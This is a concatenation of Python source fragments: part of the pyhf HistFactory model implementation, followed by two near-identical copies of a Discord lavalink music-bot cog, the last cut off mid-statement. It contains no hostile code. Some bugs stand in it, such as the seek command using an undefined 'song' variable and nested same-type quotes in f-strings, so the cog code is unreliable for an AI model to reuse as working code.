spec['channels']: for s in c['samples']: helper.setdefault(c['name'], {})[s['name']] = (c, s) mega_samples = {} for s in config.samples: mega_nom = [] for c in config.channels: defined_samp = helper.get(c, {}).get(s) defined_samp = None if not defined_samp else defined_samp[1] # set nominal to 0 for channel/sample if the pair doesn't exist nom = ( defined_samp['data'] if defined_samp else [0.0] * config.channel_nbins[c] ) mega_nom += nom defined_mods = ( { '{}/{}'.format(x['type'], x['name']): x for x in defined_samp['modifiers'] } if defined_samp else {} ) for m, mtype in config.modifiers: key = '{}/{}'.format(mtype, m) # this is None if modifier doesn't affect channel/sample. thismod = defined_mods.get(key) # print('key',key,thismod['data'] if thismod else None) if mtype == 'histosys': lo_data = thismod['data']['lo_data'] if thismod else nom hi_data = thismod['data']['hi_data'] if thismod else nom maskval = True if thismod else False mega_mods[key][s]['data']['lo_data'] += lo_data mega_mods[key][s]['data']['hi_data'] += hi_data mega_mods[key][s]['data']['nom_data'] += nom mega_mods[key][s]['data']['mask'] += [maskval] * len( nom ) # broadcasting elif mtype == 'normsys': maskval = True if thismod else False lo_factor = thismod['data']['lo'] if thismod else 1.0 hi_factor = thismod['data']['hi'] if thismod else 1.0 mega_mods[key][s]['data']['nom_data'] += [1.0] * len(nom) mega_mods[key][s]['data']['lo'] += [lo_factor] * len( nom ) # broadcasting mega_mods[key][s]['data']['hi'] += [hi_factor] * len(nom) mega_mods[key][s]['data']['mask'] += [maskval] * len( nom ) # broadcasting elif mtype in ['normfactor', 'shapefactor', 'lumi']: maskval = True if thismod else False mega_mods[key][s]['data']['mask'] += [maskval] * len( nom ) # broadcasting elif mtype in ['shapesys', 'staterror']: uncrt = thismod['data'] if thismod else [0.0] * len(nom) if mtype == 'shapesys': maskval = [(x > 0 and y > 0) for x, y in zip(uncrt, nom)] else: maskval = [True if thismod else False] * len(nom) mega_mods[key][s]['data']['mask'] += maskval mega_mods[key][s]['data']['uncrt'] += uncrt mega_mods[key][s]['data']['nom_data'] += nom sample_dict = {'name': 'mega_{}'.format(s), 'nom': mega_nom} mega_samples[s] = sample_dict nominal_rates = default_backend.astensor( [mega_samples[s]['nom'] for s in config.samples] ) _nominal_rates = default_backend.reshape( nominal_rates, ( 1, # modifier dimension.. nominal_rates is the base len(config.samples), 1, # alphaset dimension sum(list(config.channel_nbins.values())), ), ) return mega_mods, _nominal_rates class _ModelConfig(_ChannelSummaryMixin): def __init__(self, spec, **config_kwargs): super(_ModelConfig, self).__init__(channels=spec['channels']) _required_paramsets = _paramset_requirements_from_modelspec( spec, self.channel_nbins ) poi_name = config_kwargs.pop('poi_name', 'mu') default_modifier_settings = {'normsys': {'interpcode': 'code1'}} self.modifier_settings = config_kwargs.pop( 'modifier_settings', default_modifier_settings ) if config_kwargs: raise KeyError( f"""Unexpected keyword argument(s): '{"', '".join(config_kwargs.keys())}'""" ) self.par_map = {} self.par_order = [] self.poi_name = None self.poi_index = None self.auxdata = [] self.auxdata_order = [] self._create_and_register_paramsets(_required_paramsets) self.set_poi(poi_name) self.npars = len(self.suggested_init()) self.nmaindata = sum(self.channel_nbins.values()) def suggested_init(self): init = [] for name in self.par_order: init = init + self.par_map[name]['paramset'].suggested_init return init def suggested_bounds(self): bounds = [] for name in self.par_order: bounds = bounds + self.par_map[name]['paramset'].suggested_bounds return bounds def par_slice(self, name): return self.par_map[name]['slice'] def param_set(self, name): return self.par_map[name]['paramset'] def set_poi(self, name): if name not in [x for x, _ in self.modifiers]: raise exceptions.InvalidModel( "The parameter of interest '{0:s}' cannot be fit as it is not declared in the model specification.".format( name ) ) s = self.par_slice(name) assert s.stop - s.start == 1 self.poi_name = name self.poi_index = s.start def _create_and_register_paramsets(self, required_paramsets): next_index = 0 for param_name, paramset in required_paramsets.items(): log.info( 'adding modifier %s (%s new nuisance parameters)', param_name, paramset.n_parameters, ) sl = slice(next_index, next_index + paramset.n_parameters) next_index = next_index + paramset.n_parameters self.par_order.append(param_name) self.par_map[param_name] = {'slice': sl, 'paramset': paramset} class _ConstraintModel(object): """Factory class to create pdfs for the constraint terms.""" def __init__(self, config, batch_size): self.batch_size = batch_size self.config = config self.constraints_gaussian = gaussian_constraint_combined( config, batch_size=self.batch_size ) self.constraints_poisson = poisson_constraint_combined( config, batch_size=self.batch_size ) self.viewer_aux = ParamViewer( (self.batch_size or 1, self.config.npars), self.config.par_map, self.config.auxdata_order, ) assert self.constraints_gaussian.batch_size == self.batch_size assert self.constraints_poisson.batch_size == self.batch_size indices = [] if self.constraints_gaussian.has_pdf(): indices.append(self.constraints_gaussian._normal_data) if self.constraints_poisson.has_pdf(): indices.append(self.constraints_poisson._poisson_data) if self.has_pdf(): self.constraints_tv = _TensorViewer(indices, self.batch_size) def has_pdf(self): """ Indicate whether this model has a constraint. Returns: Bool: Whether the model has a constraint term """ return self.constraints_gaussian.has_pdf() or self.constraints_poisson.has_pdf() def make_pdf(self, pars): """ Construct a pdf object for a given set of parameter values. Args: pars (`tensor`): The model parameters Returns: pdf: A distribution object implementing the constraint pdf of HistFactory. Either a Poissonn, a Gaussian or a joint pdf of both depending on the constraints used in the specification. """ pdfobjs = [] gaussian_pdf = self.constraints_gaussian.make_pdf(pars) if gaussian_pdf: pdfobjs.append(gaussian_pdf) poisson_pdf = self.constraints_poisson.make_pdf(pars) if poisson_pdf: pdfobjs.append(poisson_pdf) if pdfobjs: simpdf = prob.Simultaneous(pdfobjs, self.constraints_tv, self.batch_size) return simpdf def logpdf(self, auxdata, pars): """ Compute the logarithm of the value of the probability density. Args: auxdata (`tensor`): The auxiliary data (a subset of the full data in a HistFactory model) pars (`tensor`): The model parameters Returns: Tensor: The log of the pdf value """ simpdf = self.make_pdf(pars) return simpdf.log_prob(auxdata) class _MainModel(object): """Factory class to create pdfs for the main measurement.""" def __init__(self, config, mega_mods, nominal_rates, batch_size): self.config = config self._factor_mods = [ modtype for modtype, mod in modifiers.uncombined.items() if mod.op_code == 'multiplication' ] self._delta_mods = [ modtype for modtype, mod in modifiers.uncombined.items() if mod.op_code == 'addition' ] self.batch_size = batch_size self._nominal_rates = default_backend.tile( nominal_rates, (1, 1, self.batch_size or 1, 1) ) self.modifiers_appliers = { k: c( [x for x in config.modifiers if x[1] == k], # x[1] is mtype config, mega_mods, batch_size=self.batch_size, **config.modifier_settings.get(k, {}), ) for k, c in modifiers.combined.items() } self._precompute() events.subscribe('tensorlib_changed')(self._precompute) def _precompute(self): tensorlib, _ = get_backend() self.nominal_rates = tensorlib.astensor(self._nominal_rates) def has_pdf(self): """ Indicate whether the main model exists. Returns: Bool: Whether the model has a Main Model component (yes it does) """ return True def make_pdf(self, pars): lambdas_data = self._expected_data(pars) return prob.Independent(prob.Poisson(lambdas_data)) def logpdf(self, maindata, pars): """ Compute the logarithm of the value of the probability density. Args: maindata (`tensor`): The main channnel data (a subset of the full data in a HistFactory model) pars (`tensor`): The model parameters Returns: Tensor: The log of the pdf value """ return self.make_pdf(pars).log_prob(maindata) def _modifications(self, pars): deltas = list( filter( lambda x: x is not None, [self.modifiers_appliers[k].apply(pars) for k in self._delta_mods], ) ) factors = list( filter( lambda x: x is not None, [self.modifiers_appliers[k].apply(pars) for k in self._factor_mods], ) ) return deltas, factors def _expected_data(self, pars): """ Compute the expected rates for given values of parameters. For a single channel single sample, we compute: Pois(d | fac(pars) * (delta(pars) + nom) ) * Gaus(a | pars[is_gaus], sigmas) * Pois(a * cfac | pars[is_poi] * cfac) where: - delta(pars) is the result of an apply(pars) of combined modifiers with 'addition' op_code - factor(pars) is the result of apply(pars) of combined modifiers with 'multiplication' op_code - pars[is_gaus] are the subset of parameters that are constrained by gauss (with sigmas accordingly, some of which are computed by modifiers) - pars[is_pois] are the poissons and their rates (they come with their own additional factors unrelated to factor(pars) which are also computed by the finalize() of the modifier) So in the end we only make 3 calls to pdfs 1. The pdf of data and modified rates 2. All Gaussian constraint as one call 3. All Poisson constraints as one call """ tensorlib, _ = get_backend() deltas, factors = self._modifications(pars) allsum = tensorlib.concatenate(deltas + [self.nominal_rates]) nom_plus_delta = tensorlib.sum(allsum, axis=0) nom_plus_delta = tensorlib.reshape( nom_plus_delta, (1,) + tensorlib.shape(nom_plus_delta) ) allfac = tensorlib.concatenate(factors + [nom_plus_delta]) newbysample = tensorlib.product(allfac, axis=0) newresults = tensorlib.sum(newbysample, axis=0) if self.batch_size is None: return newresults[0] return newresults class Model(object): """The main pyhf model class.""" def __init__(self, spec, batch_size=None, **config_kwargs): """ Construct a HistFactory Model. Args: spec (`jsonable`): The HistFactory JSON specification batch_size (`None` or `int`): Number of simultaneous (batched) Models to compute. config_kwargs: Possible keyword arguments for the model configuration Returns: model (`Model`): The Model instance. """ self.batch_size = batch_size self.spec = copy.deepcopy(spec) # may get modified by config self.schema = config_kwargs.pop('schema', 'model.json') self.version = config_kwargs.pop('version', None) # run jsonschema validation of input specification against the (provided) schema log.info("Validating spec against schema: {0:s}".format(self.schema)) utils.validate(self.spec, self.schema, version=self.version) # build up our representation of the specification self.config = _ModelConfig(self.spec, **config_kwargs) mega_mods, _nominal_rates = _nominal_and_modifiers_from_spec( self.config, self.spec ) self.main_model = _MainModel( self.config, mega_mods=mega_mods, nominal_rates=_nominal_rates, batch_size=self.batch_size, ) # this is tricky, must happen before constraint # terms try to access auxdata but after # combined mods have been created that # set the aux data for k in sorted(self.config.par_map.keys()): parset = self.config.param_set(k) if hasattr(parset, 'pdf_type'): # is constrained self.config.auxdata += parset.auxdata self.config.auxdata_order.append(k) self.config.nauxdata = len(self.config.auxdata) self.constraint_model = _ConstraintModel( config=self.config, batch_size=self.batch_size ) sizes = [] if self.main_model.has_pdf(): sizes.append(self.config.nmaindata) if self.constraint_model.has_pdf(): sizes.append(self.config.nauxdata) self.fullpdf_tv = _tensorviewer_from_sizes( sizes, ['main', 'aux'], self.batch_size ) def expected_auxdata(self, pars): """ Compute the expected value of the auxiliary measurements. Args: pars (`tensor`): The parameter values Returns: Tensor: The expected data of the auxiliary pdf """ return self.make_pdf(pars)[1].expected_data() def _modifications(self, pars): return self.main_model._modifications(pars) @property def nominal_rates(self): """Nominal value of bin rates of the main model.""" return self.main_model.nominal_rates def expected_actualdata(self, pars): """ Compute the expected value of the main model. Args: pars (`tensor`): The parameter values Returns: Tensor: The expected data of the main model (no auxiliary data) """ return self.make_pdf(pars)[0].expected_data() def expected_data(self, pars, include_auxdata=True): """ Compute the expected value of the main model Args: pars (`tensor`): The parameter values Returns: Tensor: The expected data of the main and auxiliary model """ tensorlib, _ = get_backend() pars = tensorlib.astensor(pars) if not include_auxdata: return self.make_pdf(pars)[0].expected_data() return self.make_pdf(pars).expected_data() def constraint_logpdf(self, auxdata, pars): """ Compute the log value of the constraint pdf. Args: auxdata (`tensor`): The auxiliary measurement data pars (`tensor`): The parameter values Returns: Tensor: The log density value """ return self.make_pdf(pars)[1].log_prob(auxdata) def mainlogpdf(self, maindata, pars): """ Compute the log value of the main term. Args: maindata (`tensor`): The main measurement data pars (`tensor`): The parameter values Returns: Tensor: The log density value """ return self.make_pdf(pars)[0].log_prob(maindata) def make_pdf(self, pars): """ Construct a pdf object for a given set of parameter values. Args: pars (`tensor`): The model parameters Returns: pdf: A distribution object implementing the main measurement pdf of HistFactory """ tensorlib, _ = get_backend() pdfobjs = [] mainpdf = self.main_model.make_pdf(pars) if mainpdf: pdfobjs.append(mainpdf) constraintpdf = self.constraint_model.make_pdf(pars) if constraintpdf: pdfobjs.append(constraintpdf) simpdf = prob.Simultaneous(pdfobjs, self.fullpdf_tv, self.batch_size) return simpdf def logpdf(self, pars, data): """ Compute the log value of the full density. Args: pars (`tensor`): The parameter values data (`tensor`): The measurement data Returns: Tensor: The log density value """ try: tensorlib, _ = get_backend() pars, data = tensorlib.astensor(pars), tensorlib.astensor(data) # Verify parameter and data shapes if pars.shape[-1] != self.config.npars: raise exceptions.InvalidPdfParameters( 'eval failed as pars has len {} but {} was expected'.format( pars.shape[-1], self.config.npars ) ) if data.shape[-1] != self.nominal_rates.shape[-1] + len( self.config.auxdata ): raise exceptions.InvalidPdfData( 'eval failed as data has len {} but {} was expected'.format( data.shape[-1], self.config.nmaindata + self.config.nauxdata ) ) result = self.make_pdf(pars).log_prob(data) if ( not self.batch_size ): # force to be not scalar, should we changed with #522 return tensorlib.reshape(result, (1,)) return result except: log.error( 'eval failed for data {} pars: {}'.format( tensorlib.tolist(data), tensorlib.tolist(pars) ) ) raise def pdf(self, pars, data): """ Compute the density at a given observed point in data space of the full model. Args: pars (`tensor`): The parameter values data (`tensor`): The measurement data Returns: Tensor: The density value """ tensorlib, _ = get_backend() return tensorlib.exp(self.logpdf(pars, data))
import re import math import logging import discord import datetime import lavalink from utils import checks from discord.ext import commands time_rx = re.compile('[0-9]+') url_rx = re.compile('https?:\/\/(?:www\.)?.+') class Audio(commands.Cog): def __init__(self, bot): self.bot = bot self.audio_settings = self.bot.db["audio"] self.queue_limit = 50 if not hasattr(bot, 'lavalink'): lavalink.Client(bot=bot, password='youshallnotpass', log_level=logging.INFO, rest_port=2500, ws_retry=3, ws_port=2500) self.bot.lavalink.register_hook(self.track_hook) async def track_hook(self, event): if isinstance(event, lavalink.Events.TrackStartEvent): c = event.player.fetch('channel') if c: c = self.bot.get_channel(c) if c: channel = c guild = c.guild player = self.bot.lavalink.players.get(guild.id) # print("setting info") # see if previous message was a now playing thing prev_msg = None async for msg in channel.history(limit=1): try: if msg.author.bot: embeds = msg.embeds if embeds: if embeds[0].title.lower() == "now playing": prev_msg = msg break except: pass player.current_info = event.track embed = discord.Embed(colour=c.guild.me.top_role.colour, title='Now Playing', description=event.track.title) embed.set_thumbnail(url=event.track.thumbnail) if prev_msg: await prev_msg.edit(embed=embed) else: await c.send(embed=embed) elif isinstance(event, lavalink.Events.QueueEndEvent): c = event.player.fetch('channel') if c: c = self.bot.get_channel(c) if c: guild = c.guild player = self.bot.lavalink.players.get(guild.id) await player.disconnect() @commands.command(aliases=['sing']) async def play(self, ctx, *, query): """Request a song using search terms. [Options] search: Terms you want to use to search for the song or a url. [Example] +<COMMAND> https://www.youtube.com/watch?v=Aiw3tVU54_E """ user = ctx.message.author server = ctx.message.guild player = self.bot.lavalink.players.get(ctx.guild.id) queue = player.queue if len(queue) >= self.queue_limit and str(server.id) != "290312423309705218": return await ctx.send(f':red_circle: **The server is at the queue limit of {self.queue_limit}! Please wait.**') if not player.is_connected: if not ctx.author.voice or not ctx.author.voice.channel: return await ctx.send(':red_circle: **Join a voice channel!**') permissions = ctx.author.voice.channel.permissions_for(ctx.me) if not permissions.connect or not permissions.speak: return await ctx.send(':red_circle: **Missing permissions `CONNECT` and/or `SPEAK`.**') player.store('channel', ctx.channel.id) await player.connect(ctx.author.voice.channel.id) else: if not ctx.author.voice or not ctx.author.voice.channel or player.connected_channel.id != ctx.author.voice.channel.id: return await ctx.send(":red_circle: **Join owo's voice channel!**") query = query.strip('<>') if not url_rx.match(query): query = f'ytsearch:{query}' results = await self.bot.lavalink.get_tracks(query) if not results or not results['tracks']: return await ctx.send(':red_circle: **Nothing found!**') embed = discord.Embed(colour=ctx.guild.me.top_role.colour) embed.set_footer(text = f"Requested by {user.name}", icon_url=user.avatar_url); if results['loadType'] == "PLAYLIST_LOADED": if await self.is_dj(ctx) or await self.is_alone(ctx): tracks = results['tracks'] # keep track of limit num_queue = self.queue_limit - len(queue) queue_tracks = tracks[0:num_queue] for track in queue_tracks: player.add(requester=ctx.author.id, track=track) trunc_msg = "" if len(queue_tracks) < len(tracks): num_untracked = len(tracks) - len(queue_tracks) trunc_msg = f"\n{num_untracked} tracks not queued. {self.queue_limit} limit." embed.title = "Playlist Queued!" embed.description = f"{results["playlistInfo"]["name"]} - {len(tracks)} tracks.{trunc_msg}" await ctx.send(embed=embed) else: return await ctx.send(":red_circle: **Only DJs can request playlists.**") else: track = results['tracks'][0] embed.title = "Track Queued" embed.description = f'[{track['info']['title']}]({track['info']['uri']})' await ctx.send(embed=embed) player.add(requester=ctx.author.id, track=track) if not player.is_playing: await player.play() @commands.command() async def seek(self, ctx, time): """Skip to a time in the song. [Options] time: The time you wish to skip to in seconds. [Example] +<COMMAND> 45 """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') if (str(user.id) == str(song.requester) or await self.is_dj(ctx) or await self.is_alone(ctx)): seconds = time_rx.search(time) if not seconds: return await ctx.send(':red_circle: **You need to specify the amount of seconds to skip!**') seconds = int(seconds.group()) * 1000 if time.startswith('-'): seconds *= -1 track_time = player.position + seconds await player.seek(track_time) await ctx.send(f':white_check_mark: Moved track to **{lavalink.Utils.format_time(track_time)}**') else: await ctx.send(':red_circle: **No permission to seek.**') @commands.command(aliases=['next','forceskip', 'fs']) async def skip(self, ctx): """Skip the currently paused song. [Example] +<COMMAND> """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') song = player.current requester = ctx.message.guild.get_member(song.requester) if (str(user.id) == str(song.requester) or await self.is_dj(ctx) or await self.is_alone(ctx)): await ctx.send('⏭ **Skipped.**') await player.skip() else: await ctx.send(':red_circle: **No permission to skip.**') async def is_alone(self, ctx): server = ctx.message.guild user = ctx.message.author voice_channels = server.voice_channels for vc in voice_channels: vc_users = vc.members if len(vc.members) == 2: if user in vc.members and self.bot.user in vc.members: return True return False @commands.command(aliases=['kill']) async def stop(self, ctx): """Stop the currently playing song and clear the queue. [Example] +<COMMAND> """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') if (await self.is_dj(ctx) or await self.is_alone(ctx)): player.queue.clear() await player.stop() await ctx.send('⏹ **Stopped.**') @commands.command(name="song", aliases=['now','np']) async def song(self, ctx): """Display information about the currently playing song. [Example] +<COMMAND> """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) song = 'Not playing anything!' if player.current: em = await self.get_np_embed(ctx, player) await ctx.send(embed=em) return await ctx.send(':red_circle: **Not playing anything!**') async def get_np_embed(self, ctx, player): song = player.current song_info = player.current_info requester = ctx.message.guild.get_member(song.requester) em = discord.Embed(description="", colour=requester.colour) em.set_author(name = f'{song.title}', url = song.uri) embed_msg = "" if hasattr(song, 'author'): embed_msg += f'Uploader: `{song.author}`\n' if hasattr(song_info, 'view_count'): embed_msg += f'Views: `{song_info.view_count}`\n' if hasattr(song_info, 'like_count'): embed_msg += f'Likes: `{song_info.like_count}/{song_info.like_count + song_info.dislike_count}' embed_msg += '({:.2f}%)`\n'.format(100*song_info.like_count/(song_info.like_count + song_info.dislike_count)) if hasattr(player, 'position'): if song.stream: embed_msg += 'Length: `LIVE`\n' else: song_dur = lavalink.Utils.format_time(song.duration) embed_msg += 'Length: `{}`\n'.format(song_dur) if player.position and not song.stream: embed_msg += f'{self._draw_play(player.position, song.duration, paused=player.paused)}\n' em.description = embed_msg repeat_text = "" shuffle_text = "" if player.repeat: repeat_text = " | 🔂 Repeat enabled" if player.shuffle: shuffle_text = " | 🔀 Shuffle enabled" em.set_footer(text = f"Requested by {requester.display_name}{repeat_text}{shuffle_text}", icon_url = requester.avatar_url) if hasattr(song_info, 'thumbnail'): em.set_thumbnail(url = song_info.thumbnail) else: em.set_thumbnail(url = "https://i.imgur.com/onE7O71.png") return em @commands.command(aliases=['q']) async def queue(self, ctx, page: int=1): """Retrieve a list of upcoming songs. [Example] +<COMMAND> """ user = ctx.message.author server = ctx.message.guild player = self.bot.lavalink.players.get(ctx.guild.id) em = discord.Embed(description="", colour=user.colour) queue_msg = "" if player.current: song = player.current song_info = player.current_info queue_msg = "**__Currently playing:__**\n" queue_msg += f"[{song.title}]({song.uri})\n" if player.position and not song.stream: queue_msg += f'{self._draw_play(player.position, song.duration, paused=player.paused)}\n' #em.set_thumbnail(url = song.get_thumbnail()) if hasattr(song_info, 'thumbnail'): em.set_thumbnail(url = song_info.thumbnail) else: em.set_thumbnail(url = "https://i.imgur.com/onE7O71.png") if not player.queue: queue_msg += "**__Next up:__**\n" queue_msg += '**There are currently no queued songs.**' page = 1 pages = 1 total = 0 else: items_per_page = 10 total = len(player.queue) pages = math.ceil(total / items_per_page) if page <= pages: queue_msg += "**__Next up:__**\n" start = (page - 1) * items_per_page end = start + items_per_page for num, song in enumerate(player.queue[start:end], start=start): # print(song) duration = lavalink.Utils.format_time(int(song.duration)) requester = server.get_member(song.requester) queue_msg += "**[{}]** [{}]({}) (`{}`) | `{}` \n".format( num+1, song.title, song.uri, duration, requester.name) else: page = 'X' repeat_text = "" shuffle_text = "" if player.repeat: repeat_text = " | 🔂 Repeat enabled" if player.shuffle: shuffle_text = " | 🔀 Shuffle enabled" em.description = queue_msg em.set_footer(text = f"{total} songs in queue. | Page {page}/{pages}{repeat_text}{shuffle_text}") await ctx.send(content="**Queued Songs: **", embed = em) @commands.command(aliases=['resume']) async def pause(self, ctx): """Pause or resume the currently playing song. [Example] +<COMMAND> """ player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') if player.paused: await player.set_pause(False) await ctx.send('⏯ **Resumed**') else: await player.set_pause(True) await ctx.send('⏯ **Paused**') @commands.command(aliases=['vol']) async def volume(self, ctx, volume: int=None): """Change the player volume. [Options] vol: Volume to change the player to. (int: 1-100) [Example] +<COMMAND> 75 """ player = self.bot.lavalink.players.get(ctx.guild.id) if not volume: return await ctx.send(f'🔈 **{player.volume}%**') await player.set_volume(volume) await ctx.send(f'🔈 **Set to {player.volume}%**') @commands.command() async def shuffle(self, ctx): """Shuffle the current queue. [Example] +<COMMAND> """ player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Nothing playing.**') player.shuffle = not player.shuffle await ctx.send('🔀 Shuffle ' + ('enabled' if player.shuffle else 'disabled')) @commands.command() async def repeat(self, ctx): player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Nothing playing.**') player.repeat = not player.repeat await ctx.send('🔁 Repeat ' + ('enabled' if player.repeat else 'disabled')) @commands.command() async def remove(self, ctx, index: int): player = self.bot.lavalink.players.get(ctx.guild.id) if not player.queue: return await ctx.send(':red_circle: **Nothing queued.**') if index > len(player.queue) or index < 1: return await ctx.send('Index has to be >=1 and <=queue size') index -= 1 removed = player.queue.pop(index) await ctx.send('Removed **' + removed.title + '** from the queue.') @commands.command(name="search") async def find(self, ctx, *, query): """Get a list of search results. [Example] +<COMMAND> Kanpyohgo - Unmei no Dark Side """ if not query.startswith('ytsearch:') and not query.startswith('scsearch:'): query = 'ytsearch:' + query results = await self.bot.lavalink.get_tracks(query) if not results or not results['tracks']: return await ctx.send(':red_circle: **Nothing found**') tracks = results['tracks'][:10] # First 10 results o = '' for i, t in enumerate(tracks, start=1): o += f'**[{i}]** [{t['info']['title']}]({t['info']['uri']})\n' embed = discord.Embed(colour=ctx.guild.me.top_role.colour, description=o) await ctx.send(embed=embed) @commands.command(aliases=["dc"]) async def disconnect(self, ctx): player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_connected: return await ctx.send(':red_circle: **Not connected.**') if not ctx.author.voice or (player.is_connected and ctx.author.voice.channel.id != int(player.channel_id)): return await ctx.send('You\'re not in my voicechannel!') player.queue.clear() await player.disconnect() await ctx.send('*⃣ **Disconnected.**') def _draw_play(self, song_current_time, total_time, paused = False): # print(song_current_time, total_time) if song_current_time: sections = 20 try: loc_time = round((song_current_time/total_time) * sections) # sections except: loc_time = 0 # bar_char = '\N{BOX DRAWINGS HEAVY HORIZONTAL}' bar_char = '■' seek_char = '\N{RADIO BUTTON}' play_char = '\N{BLACK RIGHT-POINTING TRIANGLE}' try: if not paused: play_char = '\N{BLACK RIGHT-POINTING TRIANGLE}' else: play_char = '\N{DOUBLE VERTICAL BAR}' except AttributeError: play_char = '\N{BLACK RIGHT-POINTING TRIANGLE}' msg = "\n" + play_char + " " for i in range(sections): if i == loc_time: msg += seek_char else: msg += bar_char elapsed_fmt = lavalink.Utils.format_time(song_current_time) total_fmt = lavalink.Utils.format_time(total_time) msg += " `{}`/`{}`".format(elapsed_fmt, total_fmt) return msg + "\n" return "" def _get_hms(self, seconds:int): m, s = divmod(seconds, 60) h, m = divmod(m, 60) return (h,m,s) def _format_hms(self, h, m, s): msg = "" if h == 0: msg = '{}:{}'.format(str(s).zfill(2), str(s).zfill(2)) else: msg = '{}:{}:{}'.format(str(h).zfill(2), str(m).zfill(2),str(s).zfill(2)) return msg async def is_dj(self, ctx): user = ctx.message.author server = ctx.message.guild server_settings = await self.audio_settings.find_one( {"server_id":str(server.id)}) if not server_settings: return True elif ("dj_member" in server_settings.keys() and str(user.id) in server_settings["dj_member"]): return True elif ("dj_role" in server_settings.keys() and any([str(role.id) in server_settings["dj_role"] for role in user.roles])): return True return False async def get_server_settings(self, ctx): server = ctx.message.guild server_settings = await self.audio_settings.find_one( {"server_id":str(server.id)}) return server_settings async def get_settings(self, ctx, property_name): server = ctx.message.guild server_settings = await self.audio_settings.find_one( {"server_id":str(server.id)}) try: return server_settings[property_name] except: return None async def has_property(self, dict_obj, prop_name): if prop_name in dict_obj.keys(): return True return False def setup(bot): bot.add_cog(Audio(bot))
import re import math import logging import discord import datetime import lavalink from utils import checks from discord.ext import commands time_rx = re.compile('[0-9]+') url_rx = re.compile('https?:\/\/(?:www\.)?.+') class Audio(commands.Cog): def __init__(self, bot): self.bot = bot self.audio_settings = self.bot.db["audio"] self.queue_limit = 50 if not hasattr(bot, 'lavalink'): lavalink.Client(bot=bot, password='youshallnotpass', log_level=logging.INFO, rest_port=2500, ws_retry=3, ws_port=2500) self.bot.lavalink.register_hook(self.track_hook) async def track_hook(self, event): if isinstance(event, lavalink.Events.TrackStartEvent): c = event.player.fetch('channel') if c: c = self.bot.get_channel(c) if c: channel = c guild = c.guild player = self.bot.lavalink.players.get(guild.id) # print("setting info") # see if previous message was a now playing thing prev_msg = None async for msg in channel.history(limit=1): try: if msg.author.bot: embeds = msg.embeds if embeds: if embeds[0].title.lower() == "now playing": prev_msg = msg break except: pass player.current_info = event.track embed = discord.Embed(colour=c.guild.me.top_role.colour, title='Now Playing', description=event.track.title) embed.set_thumbnail(url=event.track.thumbnail) if prev_msg: await prev_msg.edit(embed=embed) else: await c.send(embed=embed) elif isinstance(event, lavalink.Events.QueueEndEvent): c = event.player.fetch('channel') if c: c = self.bot.get_channel(c) if c: guild = c.guild player = self.bot.lavalink.players.get(guild.id) await player.disconnect() @commands.command(aliases=['sing']) async def play(self, ctx, *, query): """Request a song using search terms. [Options] search: Terms you want to use to search for the song or a url. [Example] +<COMMAND> https://www.youtube.com/watch?v=Aiw3tVU54_E """ user = ctx.message.author server = ctx.message.guild player = self.bot.lavalink.players.get(ctx.guild.id) queue = player.queue if len(queue) >= self.queue_limit and str(server.id) != "290312423309705218": return await ctx.send(f':red_circle: **The server is at the queue limit of {self.queue_limit}! Please wait.**') if not player.is_connected: if not ctx.author.voice or not ctx.author.voice.channel: return await ctx.send(':red_circle: **Join a voice channel!**') permissions = ctx.author.voice.channel.permissions_for(ctx.me) if not permissions.connect or not permissions.speak: return await ctx.send(':red_circle: **Missing permissions `CONNECT` and/or `SPEAK`.**') player.store('channel', ctx.channel.id) await player.connect(ctx.author.voice.channel.id) else: if not ctx.author.voice or not ctx.author.voice.channel or player.connected_channel.id != ctx.author.voice.channel.id: return await ctx.send(":red_circle: **Join owo's voice channel!**") query = query.strip('<>') if not url_rx.match(query): query = f'ytsearch:{query}' results = await self.bot.lavalink.get_tracks(query) if not results or not results['tracks']: return await ctx.send(':red_circle: **Nothing found!**') embed = discord.Embed(colour=ctx.guild.me.top_role.colour) embed.set_footer(text = f"Requested by {user.name}", icon_url=user.avatar_url); if results['loadType'] == "PLAYLIST_LOADED": if await self.is_dj(ctx) or await self.is_alone(ctx): tracks = results['tracks'] # keep track of limit num_queue = self.queue_limit - len(queue) queue_tracks = tracks[0:num_queue] for track in queue_tracks: player.add(requester=ctx.author.id, track=track) trunc_msg = "" if len(queue_tracks) < len(tracks): num_untracked = len(tracks) - len(queue_tracks) trunc_msg = f"\n{num_untracked} tracks not queued. {self.queue_limit} limit." embed.title = "Playlist Queued!" embed.description = f"{results['playlistInfo']['name']} - {len(tracks)} tracks.{trunc_msg}" await ctx.send(embed=embed) else: return await ctx.send(":red_circle: **Only DJs can request playlists.**") else: track = results['tracks'][0] embed.title = "Track Queued" embed.description = f'[{track["info"]["title"]}]({track["info"]["uri"]})' await ctx.send(embed=embed) player.add(requester=ctx.author.id, track=track) if not player.is_playing: await player.play() @commands.command() async def seek(self, ctx, time): """Skip to a time in the song. [Options] time: The time you wish to skip to in seconds. [Example] +<COMMAND> 45 """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') if (str(user.id) == str(song.requester) or await self.is_dj(ctx) or await self.is_alone(ctx)): seconds = time_rx.search(time) if not seconds: return await ctx.send(':red_circle: **You need to specify the amount of seconds to skip!**') seconds = int(seconds.group()) * 1000 if time.startswith('-'): seconds *= -1 track_time = player.position + seconds await player.seek(track_time) await ctx.send(f':white_check_mark: Moved track to **{lavalink.Utils.format_time(track_time)}**') else: await ctx.send(':red_circle: **No permission to seek.**') @commands.command(aliases=['next','forceskip', 'fs']) async def skip(self, ctx): """Skip the currently paused song. [Example] +<COMMAND> """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') song = player.current requester = ctx.message.guild.get_member(song.requester) if (str(user.id) == str(song.requester) or await self.is_dj(ctx) or await self.is_alone(ctx)): await 